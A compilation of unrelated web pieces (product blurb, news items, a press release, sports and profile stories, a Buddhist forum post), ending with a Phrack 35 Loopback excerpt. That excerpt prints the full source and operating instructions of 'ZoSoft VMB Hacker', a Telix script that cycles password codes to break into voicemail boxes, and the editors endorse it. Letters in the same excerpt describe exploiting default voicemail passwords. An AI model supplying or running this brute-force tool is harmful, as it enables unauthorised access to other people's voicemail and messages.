The Belly Bandit products are extremely sneaky — almost all of the products have dual action purposes. For instance, their belly support system, Flawless Belly, also includes special anti-stretch mark cream to help keep your skin supple and smooth. It doesn't offer as much intense support as some of the other systems, so it is more for women with smaller bumps or those early on in the pregnancy just looking for a smoothing undergarment. What I love about the Belly Bandit line, however, is that they also offer some great postpartum products to help keep that famous "jelly belly" in line and promote and support postpartum healing and recovery. (Belly Bandit, $50)
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President, Charles Menghini, has been giving tours of the 3120 S. Dearborn building which is in week 9 of renovations. Students, faculty, and staff experienced first hand the amazing progress that has been made in such a short period of time. The renovations are broken up into two phases, the first of which, is scheduled to be ready for use by early September and includes:
In addition, the first floor will be home to the George R. Quinlan, Sr. Recital Hall. It will be the largest area the college has had in its history.


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Brian E. Kiley
Brian E. Kiley was born and raised on Long Island, New York. At an early age he discovered a love for stand-up comedy and his dream of performing was born. Although life took him in various directions (other than comedy) at first, he kept his passion for laughter in his heart and knew that someday his dream of performing would come true. When Brian signed up for a comedy writing class with Nashville comic Rik Roberts his comedy career officially began. Taking the stage for the first time in early 2007, Brian proved that his natural ability for making others laugh would payoff in comedy gold. His signature comedy bit "Girl Scout Mafia" made him an instant crowd favorite and he was soon performing at various venues in Tennessee, Georgia, Utah and Florida. Realizing early on that the comedy world did not provide an environment that matched their clean-cut personas, Brian and several of his comedy friends banned together to form a comedy show called Nashville Comedy Chaos. This show was created as a means of providing a venue for local, up and coming, comics to perfect their craft in front of an attentive, paying audience. After NCC ran its course, Brian teamed up with two of his closest comedy friends and formed The Three Brians of Comedy. Whether performing as a solo act or with The Three Brians, Brian E. Kiley brings a light-hearted perspective on everyday life by turning the awkwardness of being over-weight into a comedic insight into life as a fat man in a weight watchers world. His clean humor will leave you in stitches and begging for more. So grab a few friends and come out and enjoy the ride. To learn more about Brian, check out his website at: www.brianekiley.com.
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Norway's 4th missing hostage is dead in Algeria
OSLO, Norway (AP) — The Norwegian energy company Statoil says a fourth Norwegian employee missing after a terror attack on a natural gas plant in Algeria has been confirmed dead.
Statoil CEO Helge Lund says the deceased was 43-year-old Alf Vik.
Lund said Saturday that one Statoil employee remains missing from the Jan. 16 attack on the Ain Amenas plant in the Sahara, which ignited a four-day siege by Algerian forces in which at least 37 hostages and 29 militants died. An al-Qaida-affiliated group has claimed responsibility for the attack.
On Friday, Statoil confirmed the death of three of its Norwegian employees.
It was unclear whether the four were among the missing or whether their bodies had only now been identified. Norway has a forensic team in Algeria helping local officials.


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For Immediate Release: October 24, 2011
Statewide Public Notification System Will Help Locate Missing Vulnerable Adults
Governor Andrew M. Cuomo today announced the launch of a statewide alert system that will help find vulnerable adults who become lost. The "Missing Adult Alerts" system, similar to the nationwide Amber Alert program, will assist local law enforcement officials in notifying communities when a cognitively impaired New Yorker goes missing.
"The Missing Adults Alert system will help law enforcement find elderly and impaired New Yorkers who become lost and get them home safely," Governor Cuomo said. "This system has saved lives regarding missing children, and now it will provide the same assistance when it comes to finding vulnerable adults."
Adults with cognitive disorders, mental disabilities, or brain injuries can experience disorientation and confusion, which often leads to wandering. Lost adults are rarely aware of the danger they may be exposed to and are often unable to ask for help. According to the Alzheimer's Association, more than 60 percent of Alzheimer sufferers will wander and 50 percent are at risk of serious harm, or even death, if not located within 24 hours.
Governor Cuomo signed a new law in July that created the notification system to provide rapid public dissemination of information regarding adults with dementia, Alzheimer's, or other cognitive impairments who go missing. The same tools the state's Missing Persons Clearinghouse and State Police use to issue an AMBER Alert to find missing children will now be activated for missing vulnerable adults. Those tools include distribution of posters, a toll-free twenty-four hour hotline, and partnerships with local broadcasters for quick dissemination of information. Anyone interested in receiving these alerts may also sign up to receive them through the NY-ALERT system at www.nyalert.gov.
Deputy Secretary for Public Safety Elizabeth Glazer said, "Each year, hundreds of adult New Yorkers wander away from home and spend hours lost, often unbeknownst to the people passing them by. This new law signed by Governor Cuomo will help our law enforcement get the word out about missing adults and empower New Yorkers to be on the lookout for people in their neighborhoods who may need police assistance."
Senator John Defrancisco said, "With this new Missing Adult Alert system, New York will be better able to protect vulnerable adults from the tragedies that can happen when they mistakenly wander away from home. Several years ago here in Syracuse, a woman with Alzheimer's left her home late at night and traveled all the way to Connecticut, placing herself in harm's way. I commend Governor Cuomo for signing the bill that enacted this program into law."
Assemblyman William Magnarelli said, "New York State today is launching an important new system to locate missing senior citizens with cognitive impairments and return them to their homes. This program should give families of vulnerable adults reassurance that the state is ready to help if a loved one should go missing. I thank Governor Cuomo for his efforts to get this program off the ground and running."
Catherine James, Coalition Co-Chair and Chief Executive Officer of the Alzheimer's Association Central New York Chapter, said, "The Coalition of New York State Alzheimer's Association Chapters is thrilled that the Missing Vulnerable Adult Alert system has been established within the Division of Criminal Justice Services, and would like to thank Governor Cuomo and the Division for their leadership in implementing the new alert. As the leading advocacy and support organization for Alzheimer's disease, the Coalition has actively pursued creating this alert for many years. This system will provide greater peace of mind to the more than 330,000 New York families touched by this disease."
David L. Donovan, President New York State Broadcasters Association, said, "We applaud the creation of the Missing Vulnerable Adult program. Radio and television stations throughout New York have helped make the AMBER alert program a tremendous success. Creating a similar alert system for missing vulnerable adults will save lives. Broadcasters across the state look forward to working with law enforcement and the Missing Persons Clearinghouse to help implement this important alert program."
Colonie Police Department Chief Steven Heider, who is a member of the New York State Amber Alert Partners, representing the Association of Chiefs of Police, said, "From a police department's point of view, this change in how we treat vulnerable adults will hopefully lead to much quicker resolutions, in the ever increasing incidents of missing person. In our very mobile society there is a much greater risk that these individuals will be traveling by vehicle, which only makes the availability of the tools provided by the passage of this legislation that much more necessary for the safe return of our missing loved ones."
Putnam County Sheriff Donald B. Smith, who is a member of the New York State Amber Alert Partners, representing the New York State Sheriffs' Association, said, "We strongly support and thank Governor Andrew Cuomo and the New York State Legislature for enacting this important legislation which extends the same kind of protection of the Amber Alert Program in helping us receive the assistance of the public in locating vulnerable missing adults with cognitive impairments. The law enforcement community strives to serve all of our citizens; however, it is important to provide special support for our most vulnerable populations - our youth and our vulnerable adults. This legislation allows us to provide vulnerable adults the same kind of immediate response and public alert system that we now provide to missing children."
Ninety-five percent of people who go missing because they suffer from a cognitive impairment are found within a quarter mile from their home or the place where they were last seen. New Yorkers who encounter a missing person, or believe they have identified a vehicle mentioned in a Missing Person Alert, should immediately call 911.
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Mary Poppins Birthday Party
Lisa's daughter fell in love with the movie Mary Poppins, so it was no surprise that she asked for a Mary Poppins-themed birthday party. Lisa delivered - with a charming party complete with spoonfuls of sugar!
We asked Lisa for some of the details. We were particularly taken with the wall silhouettes:
For the Mary Poppins and Bert silhouettes on the wall, I just bought some construction paper and drew/cut them myself using smaller computer image printouts. But the cityscape is actually a roll of stick-on chalkboard paper roll. I used the whole roll to cut out one long cityscape. It's easily removable from the wall and doesn't leave any residue. I also used one roll to just stick onto our living room floor and had the kids draw on it w chalk, reminiscent of the sidewalk chalk drawings that Bert did in the movie in the park scene.
I ordered these great personalized favor tags, labels, cupcake toppers and a door sign from Belleza e Luce. She actually did a Mary Poppins theme party for her own daughter and that's how I got a lot of the ideas. Also, I made 'spoonfuls of sugar' by scooping cool whip on each spoon and sprinkling red sprinkles on top. The favors included birdseed in pouches (from the song, "Feed the Birds") and sidewalk chalk.
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The Tour's highest-ever finish
There probably haven't been many, if any, occasions when the Izoard has been the smallest climb on the day's itinerary, which sums up just how extraordinary this stage is. Starting with the ascent of the huge Agnel climb, "the roof" of this year's Tour, then passing over the spectacular Izoard, the day culminates with the ascent to the Tour's highest-ever finish on the summit of the Galibier. It will be of little consolation to most that this is reached from its easier side. The last 8.5km are tough and should see an intense battle between the podium contenders.
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Distance: 200.5 km
Highest point: 2,744m
Category: High mountains
Sean Yates says...
"The Agnello is long and the Izoard is evil. This is the easier side of the Galibier but it's still going to really hurt. For anyone not fighting for a top ten place, today will be a death march, especially with all the time spent over 2000 metres."
Matt White says...
"This stage is the beast. It will bite everyone – some for survival, others for overall glory. Sit back and enjoy."
Stage 18 preview
Pinerolo – Galibier - Serre Chevalier
- Race Home
- Stage 1191km Passage du Gois La Barre-de-Monts - Mont des Alouettes Les Herbiers
- Stage 223km Les Essarts (TTT)
- Stage 3198km Olonne-sur-Mer - Redon
- Stage 4172km Lorient - Mûr-de-Bretagne
- Stage 5158km Carhaix - Cap Fréhel
- Stage 6226km Dinan - Lisieux
- Stage 7215km Le Mans - Châteauroux
- Stage 8190km Aigurande - Super-Besse Sancy
- Stage 9208km Issoire - Saint-Flour
- Rest Day 1
- Stage 10161km Aurillac - Carmaux
- Stage 11168km Blaye-les-Mines - Lavaur
- Stage 12209km Cugnaux - Luz-Ardiden
- Stage 13156km Pau - Lourdes
- Stage 14168km Saint-Gaudens - Plateau de Beille
- Stage 15187km Limoux - Montpellier
- Rest Day 2
- Stage 16163km Saint-Paul-Trois-Châteaux - Gap
- Stage 17179km Gap - Pinerolo
- Stage 18200.5km Pinerolo - Galibier Serre-Chevalier
- Stage 19109km Modane - Alpe-d'Huez
- Stage 2042.5km Grenoble (ITT)
- Stage 21160km Créteil - Paris Champs-Élysées
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Brentwood, Tenn. - The Ohio Valley Conference announced its 14-member all-conference team on Wednesday and among the selected is Tennessee State's Erika Moss and Naomi Wells.
Wells joins the team for the first time after missing all of last season. For Moss, the inclusion on the team is her second in as many years.
Moss, a native of Fort Wayne, Ind., had another strong season, recording 1139 assists and breaking TSU's all-time record for career assists.
Moss' 10.26 assist per set average ranks her third in the OVC, and she has recorded at least 30 assists in 23 matches including her last 16.
Wells, a redshirt sophomore from Huntsville, Ala., was second in the conference in points with 462 on the year. She also ranked second in the OVC in kills per set with 3.69.
Wells was a consistent force for the Tigers all year, and recorded 10-plus kills in 22 matches. She also had double-doubles in 16 matches, including 12 of her last 13.
Wells also finished second on the team with 324 digs.
Moss and Wells will try to lead the Tigers' to another victory on Nov. 15 against Austin Peay at 3:30 p.m.
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The following is an interview from when Heather was a student at Midwestern University's College of Pharmacy-Glendale.
For many health professions students, deciding on a specific career path can be difficult. For Heather Thoreson, the decision was easy, after she spent time getting to know herself.
As a kinesiology and physics major at Colorado University, Heather completed internships in both respiratory therapy and physical therapy. After graduation, she started work in a hospital as a telemetry technician, but realized the hospital environment wasn't for her. When a friend suggested she try pharmacy, she did-and loved it. Soon, she was working as a pharmacy tech at Walgreen's, which she did for five years before applying to MWU. She especially loved the compounding, the variety, the excitement, and the new avenue in which she could work with people.
"The more I'm in class, the more I'm open to lots of new areas," says Heather. "I'm thinking I might do less retail when I graduate and more specialization. That's what I like most about pharmacy school: finding out the possibilities. I always thought I would do hospital or retail work, but we've learned about so many other options . . . in school, you hear about lots of things that sound interesting, like nuclear pharmacy."
I really like MWU's open-door policy. Our deans and the faculty are so open, welcoming and friendly."
— Heather Thoreson, Pharm.D., CPG Class of 2012
Before entering the College of Pharmacy-Glendale, Heather spent a year doing research in MWU's Master of Biomedical Sciences program, where she reviewed microbiology, immunology, physiology, and other basic sciences. She also learned how to study, how to best utilize the faculty members, and how to manage her course load. "I really got to know the faculty," she says, "and it especially helped me to prioritize my studies. Now I can manage my classes and even watch football sometimes!" she laughs.
"I really like MWU's open-door policy," she adds. "Our deans and the faculty are so open, welcoming and friendly."
With three half sisters, a half-brother, and thirteen cousins, Heather is used to a friendly family environment, with a focus on health care. One sister is a nurse, the other in nursing school. An uncle works in the dental field. Many of them were in town for her graduation when she was accepted into the pharmacy program, so they were able to stay and celebrate her first days of pharmacy school. "They had to entertain themselves, but I was so happy about getting into pharmacy school, it didn't matter," remembers Heather fondly. "I still try to make it home (to Walsenburg, CO, just over the New Mexico border) every month," she adds.
During her time in the M.B.S. program, Heather enjoyed her research on herbal medicines. She worked with Pedro Chavez, Ph.D., Professor, Biomedical Sciences; Carleton Buck Jones, Ph.D., Associate Professor, Biomedical Sciences; and Kathryn Leyva, Ph.D., Associate Professor, Microbiology and Immunology, to study the cytotoxicity of specific drugs that could potentially treat diabetes. "It was kind of challenging," she says, "because there's not a lot of scientific research done yet on many herbals. But a lot of communities use these products."
As a pharmacy student, Heather hopes she can still focus her research on diabetes and the field of pharmacy. She serves as the Arizona Society of Health Systems Pharmacists diabetes chair, and has participated in the American Diabetes Association Walk to Fight Diabetes on campus as well as the Tour de Cure fundraising bicycle ride.
She also hopes to spend some time on another interest garnered at Colorado University: snowboarding. An avid skier and outdoor enthusiast, Heather plans to visit Flagstaff during her time at MWU, as well as re-visit the Grand Canyon for the first time since she was a child. "I miss the snow in Colorado," she laughs, "but I bought a bike and hope to get into biking here. I also like walking north up 59th Avenue by Pinnacle Peak, and I hope to climb Camelback Mountain soon."
With her proven determination to find her own way, scaling Camelback Mountain should be no problem. And patients of the future Dr. Crump are sure to benefit from her decision to choose the path of pharmacy.
Heather Thoreson, Pharm.D., is a 2012 graduate of the College of Pharmacy-Glendale, located on the Glendale Campus of Midwestern University.


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Angulimalaya Sutra: The Arising of the Tathagatha
Posted: Sat Jul 18, 2009 8:17 pm
This basically destroys the constant chant of many Buddhists about the "Dharma ending age!" There's no such thing as a "Dharma ending age" in those who practice the Dharma - because the Buddha arises only in the homes of those who practice the Dharma."Bhadanta Maudgalyāna-putra, do not say thus that the bhadanta venerable Mahā-kāśyapa himself engaged in the real Dharma when the Tathāgata has not arisen ! Why ? Because the Tathāgata abides in the homes of those who abide in the Dharma. For example, all rivers arise from rain, but even in the absence of rain the wise think as follows about those rivers: 'Because it is not possible for this river to flow in the absence of rain here, rain must be falling elsewhere and the water in the river has flowed from there.' Similarly, Maudgalyāna-putra, all excellent Dharma, both mundane and supramundane, flows from the Tathāgata. Hence you should know that even bhadanta Mahā-kāśyapa became a renunciate in the presence of the Tathāgata."
"If there are Tathāgatas continually abiding in the world, why is it that myself and all other beings do not see these emanations ?"
"Bhadanta, the Bhagavat is not universally accessible to knowledge, but is like the rain which falls elsewhere, therefore you should know that even beings in times when there is no Buddha do not become liberated of themselves, but are always definitely liberated in contact with a Buddha. Moreover, bhadanta, if a certain person has seen the sun or moon and then goes inside his house and thinks he does not see by them, then are the sun and moon really invisible ? They are indeed visible, but a stupid person thinks that he does not see by the sun and moon when he has gone indoors. Similarly, bhadanta Maudgalyāna-putra, don't talk like a fool ! The Tathāgata constantly liberates beings, constantly causes beings to become renunciates and to receive full ordination. Therefore, beings are either fixed in perversity or fixed in righteousness -- there is not third type who are indeterminate."
This also matches the Nikayas in which only Buddhists who don't have reverence for the Triple Gem are responsible for the Dharma to "end".


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|Introduction to Phrack 34
|Dispater & Crimson Death
|Phrack Loopback
|Phrack Staff
|Phrack Profile of Chris Goggans
|S. Leonard Spitz
|Telenet/Sprintnet's PC Pursuit Outdial Directory
|Sting Operations
|Sovereign Immunity
|Social Security Numbers & Privacy
|Chris Hibbert
|Users Guide to VAX/VMS Part 1 of 3
|Black Kat
|A Beginners Guide to Novell Netware 386
|The Butler
|Auto-Answer It
|Twisted Pair
|PWN/Part 1
|PWN/Part 2
|PWN/Part 3
|PWN/Part 4
==Phrack Inc.== Volume Three, Issue Thirty-five, File 2 of 13 [-=:< Phrack Loopback >:=-] By Phrack Staff Phrack Loopback is a forum for you, the reader, to ask questions, air problems, and talk about what ever topic you would like to discuss. This is also the place The Phrack Staff will make suggestions to you by reviewing various items of note; magazines, software, catalogs, hardware, etc. ______________________________________________________________________________ What's on Your Mind ~~~~~~~~~~~~~~~~~~ :: Hacking VMB's :: From: Mr. Upsetter To: email@example.com Subject: Phrack 34 VMB article The article in Phrack 34 on voice mail hacking by Night Ranger was really good. It reminded me of some experiences I had with a cellular voice mail system a couple years ago in San Diego. I would bet there are similar systems in other cities. These VMB's would automatically answer calls when the subscriber wasn't on the air. They worked just like standard VMB's. To access the box, the owner could dial his or her own cellular number, then hit * when it answered. Then the VMB would ask for a password. Guess what the default password was? None! That meant all you had to do was dial up a cellular VMB and hit *, and you were in. How many VMB's still had the default password? About half... To scan for cellular VMB's all you had to do was dial numbers in the cellular prefix. It was pretty fun...almost too easy. Cheers, Mr. Upsetter - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >From: Zoso Puda > >After reading PHRACK 34 I thought it was good. Especially the article on VMB >hacking. As a matter of fact I wrote a SALT script to help me do it. This is exactly what we like to see. People actually getting basic information and building on it. - - - - - - - - - - - - - - - - - - - - - - - - - - - +-------------------------------------+ | ZoSoft Telix VMB Hacker | | | | written by: Zoso Puda | +-------------------------------------+ First words ----------- After reading Night Ranger's article (see PHRACK 34), I decided to make a VMB hacking program. Night Ranger provided good insight into how to hack VMB systems but some VMBs are hard to crack. What I came up with is a program to help me hack some of the harder systems. The ones that don't use the defaults are tough. Also my phone has the buttons and earpiece in one unit and I had to dial then put the phone to my ear and listen, look at the buttons to dial a number and put the phone back to my ear to listen. It soon became tiresome. What I finally came up with was a program to let me run all the phone functions from the keyboard. My modem speaker is loud enough to hear clearly so it seemed like the perfect thing to do. I also automated certain features like incrementing the password or box number. The program is not fully automated however. You must run this program manually. It's main purpose is to allow you to run normal phone functions via the keyboard. If you cannot hear clearly through your modem speaker then pick up the phone after the program dials the VMB phone # and hang up the phone before hanging up the modem. What follows is a brief description on how to use the program, compile the program, and run the program. A working knowledge of VMB systems is expected. Parameter details ----------------- VMB phone number : If you don't know this, give it up. Setup sequence : This code is used for systems that require a '9' or '#' or '*' to be pressed before the box number. Up to 3 characters can be in this string. Valid Box # : This would be a known valid box or the box you will be attempting to hack. This value remains constant. Codefile filename: You may use a file to get 'default' or your favorite passwords from. You must include the extension. Starting box/code: Box # or code to start checking. This value will increase automatically upon pressing [F7]. Using the function keys ----------------------- [F1] Dials the VMB system (see params). [F2] Hangs-up the modem. [F3] Closes the current codefile.(see params). [F4] Lets you set the current code/box #. [F5] Dials the Setup sequence (see params). [F6] Dials the current code. [F7] Makes the next code current. [F8] Dials the valid box (see params). [F9] Allows you to re-set the parameters. [F10] Hangs-up and quits the program. [0 - 9] These keys will dial 0 - 9 respectively. [*, #] These keys will dial * and #. [/] Used as a substitute # for the keypad. Basic Insructions ----------------- Codefiles should be stored in the same directory as your Telix program. A sample codefile should look like this: 1111 2222 3333 etc... I suggest you make seperate codefiles for the number of digits in each code. For example, all 3 digit codes should be in a file called 3DIGIT.COD, or something similar. During parameter entry, if you enter a codefile and it exists, you will NOT be prompted for a 'Starting box/code'. When the codefile is finished, the current code will set itself to 1000. If you enter a blank for the codefile or the name you entered doesn't exist then you will be prompted for a 'Starting Box/Code'. Compiling --------- Save the program within the 'CUT HERE' lines as VMBHACK.SLT. Copy the file VMBHACK.SLT into the directory where your Telix scripts are. Compile using CS.EXE. (example: CS VMBHACK.SLT) To run the program, load Telix and press Alt-G followed by the program name (VMBHACK). //---------------------------<CUT HERE>------------------------------------- // ZoSoft VMB Hacker Version 1.4 // Code by: Zoso, November 1991 // // See PHRACK 34 for more information on VMB systems. // // NOTE: Do not remove the credits of the original author, modified versions // you may add credits, but please do not remove any. // str code[10], // Global Variables codes[10], reset[1], vmb_number[15], borc[1], valid[10], setup[3]; str filename[12], fstatus[10]; int f; int fflag = 0; init_modem() // Modem initialization { cputs("AT X3 S6=0 S7=0 S11=105 M1 L3"); // X must be 3, L is Loudness on cputs("^M"); // some modems, you may have to waitfor("OK",20); // alter this. See you modem manual. } vmb_dial(str string) // Dial function { str workstr[20]; workstr = string; strcat(workstr,";"); cputs("ATDT"); cputs(workstr); cputs("^M"); cputs("^M"); } hang_up() // Hang Up function { hangup(); waitfor("",20); cputs("ATH0"); cputs("^M"); cputs("^M"); clear_scr(); display(); } next_code() // Next code function { int cd; if (fflag) { if (not feof(f)) // Check for file first { fgets(code,10,f); return; } if (feof(f)) { file_close(); code = "999"; goto NEXTCODE; } } NEXTCODE: cd = stoi(code); cd = cd + 1; // This line determines how the code itos(cd,code); // gets incremented. } set_code() // Enter new code { gotoxy(65,2); gets(code,10); } parameters() // Set parameters { str c[1]; file_close(); GETINFO: clear_scr(); printsc("VMB Hacker Parameters^M^J"); printsc("^M^JVMB phone number :"); gets(vmb_number,15); printsc("^M^JSetup sequence :"); gets(setup,3); printsc("^M^JValid box # :"); gets(valid,10); printsc("^M^JCodefile filename :"); gets(filename,12); if (filename != "") { open_file(); next_code(); } if (not fflag) { filename = "N/A"; printsc("^M^JStarting box/code :"); gets(code,10); } printsc("^M^J^M^JCorrect? (Y/n):"); gets(c,1); if (c == "n" || c == "N") goto GETINFO; } press_enter() // Pause routine { str a[1]; pstraxy("Press [ENTER] to continue...",20,23,11); gets(a,1); } title_scr() // Title screen { str i[1]; TITLE: clear_scr(); pstraxy(" - ZoSoft VMB Hacker V1.4 -",20,4,11); pstraxy("written for Telix by: Zoso Puda",20,6,14); press_enter(); } display() // Display screen { box(0,0,78,3,4,0,19); box(0,0,78,5,4,0,19); pstraxy("[ ZoSoft VMB Hacker V1.4 ]",25,0,31); pstraxy("VMB Number:",4,2,31); // Information display pstraxy(vmb_number,16,2,27); pstraxy("Valid #:",33,2,31); pstraxy(valid,42,2,27); pstraxy("Current:",57,2,31); pstraxy(code,66,2,27); pstraxy("Codefile:",6,4,31); pstraxy(filename,16,4,27); pstraxy("File status:",29,4,31); pstraxy(fstatus,42,4,27); pstraxy("Setup sequence:",50,4,31); pstraxy(setup,66,4,27); box(0,6,78,10,4,0,103); // Function key display pstraxy("[ ]",30,6,111); pstraxy(" 0 - 9,*,#",31,6,110); pstraxy("[ ] Dial VMB", 2,7,111); pstraxy("F1", 3,7,110); pstraxy("[ ] Hang up",22,7,111); pstraxy("F2",23,7,110); pstraxy("[ ] Close file",42,7,111); pstraxy("F3",43,7,110); pstraxy("[ ] Set Current",61,7,111); pstraxy("F4",62,7,110); pstraxy("[ ] Setup seq.",2,8,111); pstraxy("F5", 3,8,110); pstraxy("[ ] Dial current",22,8,111); pstraxy("F6",23,8,110); pstraxy("[ ] Next box/code",42,8,111); pstraxy("F7",43,8,110); pstraxy("[ ] Valid box",61,8,111); pstraxy("F8",62,8,110); pstraxy("[ ] Parameters",22,9,111); pstraxy("F9",23,9,110); pstraxy("[ ] QUIT",41,9,111); pstraxy("F10",42,9,110); gotoxy(0,11); } quit_vmb() // End program { file_close(); hangup(); waitfor("",20); clear_scr(); printsc("Thanks for using ZoSoft's VMB Hacker.^M^J^M^J"); cputs_tr(_mdm_init_str); // Restore modem params } open_file() // Open Codefile { fflag = 1; f = fopen(filename,"r"); fstatus = "OPEN"; if (ferror(f)) file_close(); } file_close() // Close Codefile { fflag = 0; fclose(f); fstatus = "CLOSED"; } main() // MAIN program module { int chr; title_scr(); parameters(); clear_scr(); display(); init_modem(); TOP: gotoxy(0,11); chr = inkeyw(); if (chr == '0') vmb_dial("0"); // Dial 0-9 if (chr == '1') vmb_dial("1"); if (chr == '2') vmb_dial("2"); if (chr == '3') vmb_dial("3"); if (chr == '4') vmb_dial("4"); if (chr == '5') vmb_dial("5"); if (chr == '6') vmb_dial("6"); if (chr == '7') vmb_dial("7"); if (chr == '8') vmb_dial("8"); if (chr == '9') vmb_dial("9"); if (chr == '#') vmb_dial("#"); // Pound sign (#) if (chr == '/') vmb_dial("#"); // Make (/) same as (#) for keypad if (chr == '*') vmb_dial("*"); // Asterisk (*) if (chr == 15104) // F1 vmb_dial(vmb_number); if (chr == 15360) // F2 hang_up(); if (chr == 15616) // F3 { file_close(); display(); } if (chr == 15872) // F4 { set_code(); display(); } if (chr == 16128) // F5 vmb_dial(setup); if (chr == 16384) // F6 vmb_dial(code); if (chr == 16640) // F7 { next_code(); display(); } if (chr == 16896) // F8 vmb_dial(valid); if (chr == 17152) // F9 { hang_up(); parameters(); display(); } if (chr == 17408) // F10 { quit_vmb(); goto END; } goto TOP; END: prints("^M^J"); } //---------------------------<CUT HERE>--------------------- ______________________________________________________________________________ :: More Legal Stuff :: >From: "Michael Lawrie, Operations" <firstname.lastname@example.com> >Subject: RE: Who/What is this? > >In this country, the receipt of documents like this would probably be >pretty helpful in sending a person down on a conspiracy to contravene >a section or more of the Computer Misuse Act, I do not appreciate crap >like this appearing on my machine but since you didn't send it me, I >can't really moan at you - What I would appreciate though is if you >told people that forwarding it to people who don't want it is probably >not a good idea, unless you want all your list members locked up in >some pokey British gaol that is! > >Michael Lawrie. >--- >Michael Lawrie, Hicom Group Security <email@example.com> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sir, You will have to excuse my ignorance of telecom laws in other countries. In the United States, distribution of technical information such as Phrack Inc. is protected by law. Hackers are not involved in conspiracies or plots. Most hackers could care less about politics. Hackers are interested in the progression of technology and learning about how our advanced society works. The inefficient structure known as government is the last thing most hackers are interested in exploring. Phrack Inc. has no "membership." Phrack Inc. is an electronically distributed publication. It is like any other security oriented newsletter. Have you ever heard of "Computer Security Journal", "Computers and Security", or "Computer Crime Digest?" These are some of the "security industry" publications that are read in the U.S. Phrack Inc. merely has a little different flavor to it. If you are interested in seeing any of these printed journals, I can forward their address to you. I am sorry if you received Phrack Inc. and didn't wish to read it. You might wish to take the matter up with the person that forwarded it to you. I hope it wasn't too big of an inconvenience for you to delete the mail message containing Phrack Inc. Cheers, Dispater - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - After a (as it turns out not so private) conversation with Torq, it seems this guy isn't even an admin anywhere. He just likes to pretend he is. Did my reply end this little debate? NOT! This person had the nerve to intercept my private mail to Torq and then proceeded to bitch about it some more. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >From firstname.lastname@example.com Sat Nov 9 09:45:53 1991 Date: Fri, 8 Nov 91 13:19 GMT From: "Michael Lawrie, Operations" <firstname.lastname@example.com> To: PHRACKSUB <<@nsfnet-relay.ac.uk:firstname.lastname@example.com>> Subject: The EFF. I found the following message the other day, whilst routing around, I am to assume you lied to me about taking him off the list but for now we'll forget that. > From firstname.lastname@example.com Wed Oct 23 01:41:51 1991 > Date: Wed, 23 Oct 91 01:41:47 -0400 > From: email@example.com > Message-Id: <::::::::::::::::::::::> > To: torq@::::::::::::::: > Subject: Phrack > > This guy sounds like a total idiot. If he does kill your account or something > stupid, get a hold of the EFF. They went to bat for someone who had their > account revoked because he/she had issues of Phrack on their directory. > > people should get a clue.... > > Dispater > firstname.lastname@example.com As you say, people should get a clue. Are you assuming that 'torq' is perhaps American and as such has his rights protected by constitution? He isn't, he is British and doesn't really as such have much going for him. If I want to kill his account I can do it at the bat of an eyelid, whilst him receiving 'Phrack' is not breaking any laws because it does not show intent, it would be breaking my machine's regulations if it came here. I would enjoy the EFF to come 'to bat' for Torq if I revoke his account for having issues of Phrack in his directory, Its a shame he hasn't. Does the EFF have any good lawyers in the UK that you know of? Regards... Michael. --- Michael Lawrie, Operations Group, Systems Development and Security. Mail: firstname.lastname@example.com (Span:19527::60478::lorry) [What pretentious signature?] (Inet: firstname.lastname@example.com) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - From: Dispater To: email@example.com I never said I would delete him from the distribution list. I don't have to DO anything. Who the hell are you pretending to be anyway? You aren't the admin of MIT's gnu machine. >I found the following message the other day, whilst routing around, I am to >assume you lied to me about taking him off the list but for now we'll forget >that. Really? What the hell were you doing prowling though someone else's mail? I assume you did it without Torq's permission. I wonder if MIT would like to hear that some British hacker is rummaging around their machine? Your "finding" of our private e-mail might place you in criminal violation of the Electronic Communications Privacy Act of 1986. This is a federal law in the United States which protects the privacy of electronic communications. Your interception of our communications has violated our privacy. How would you like me to have a little chat with YOUR supervisor? Why you care about what takes place on the MIT computer which is located here in the USA? In this country freedom of speech is a right granted to all its citizens. The previous publisher of Phrack had to go to Federal Court to prove it and he succeeded. Phrack Inc. is 100% legal here and there is not one damn thing you can do about it! Dispater ______________________________________________________________________________ :: Hacker Philosophy :: From: The Dark Lord Sarik Malthus Organization: Underground Computing Foundation > I'm curious...now, don't think I am trying to judge you, or your > actions, or anything...but I am wondering how you, in your mind, justify the > actions of hackers and the kind of information provided by your magazine? I don't. I think people spend too much time attempting to justify their "morality." I don't play that guilt trip. I only seek information. Information has no morality. It is simple and pure, just like truth. I do feel that with knowledge comes responsibility not to use it in a destructive way. This is why I will not print "how to make bomb" files in Phrack Inc. Explosives are made for one thing and it doesn't involve too much creativity. People can get that type of stuff elsewhere. I have never damaged any system or hurt any individual financially. Carding is unquestionable robbery. If you know the person you are carding from, that is revenge and is a different category, as far as I am concerned, but it still doesn't make it right. Besides, any poser with half a brain can pull a CBI. That doesn't demonstrate much talent to me. I admit I went through the c0deZ phase, but I moved onto better things. I guess your basic question may boil down to, "Why hack?" I see the internet and the telecom world in as the latest frontier to be explored. If you look back at how this country started, you will see that it was explored by people who probably had a similar mentality to that of hackers. We want to test ourselves. We want to have a broad range of different experiences in our lives. We are not content with ignorance of the unknown. And, to some extent we are sick of our current society's norms. With that in mind we leave the security of what is considered acceptable at times. I guess I have a lot of different unpopular views....oh well. _______________________________________________________________________________ A Review of: ~~~~~~~~~~ Full Disclosure #23 - a publication For Truth, Justice, and The American Way ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Full Disclosure Subscription Rates: P.O. Box 903-FD23 U.S - 12 issues for $18.00 Libertyville IL 60048 24 issues for $29.95 No Canadian orders, please! by:Twisted Pair About a month ago I mailed in a coupon I got from friend in order to get a sample issue of Full Disclosure. Within a week I received Issue #23. It's got articles on fax interception, dumpster diving, computer security tips, surveillance tips, technical stuff, mail surveillance, etc. The Fax Interception article was most interesting to me. I've often wondered just how easy it could be to intercept faxes. Its all explained in the article. Here's some text from the article: | False Sense of Security: | | With the widespread proliferation of fax machines came increased use. | In general, a document transferred has been given the same sort of | validity as one sent or received by the U.S. Mail.* In general, such | communications were originally secure. Now that interception equipment is | available, the | sense of security has become false. *Note: Just this month, the FCC has stopped accepting paperwork with faxed signatures on them. Their new policy states that they only 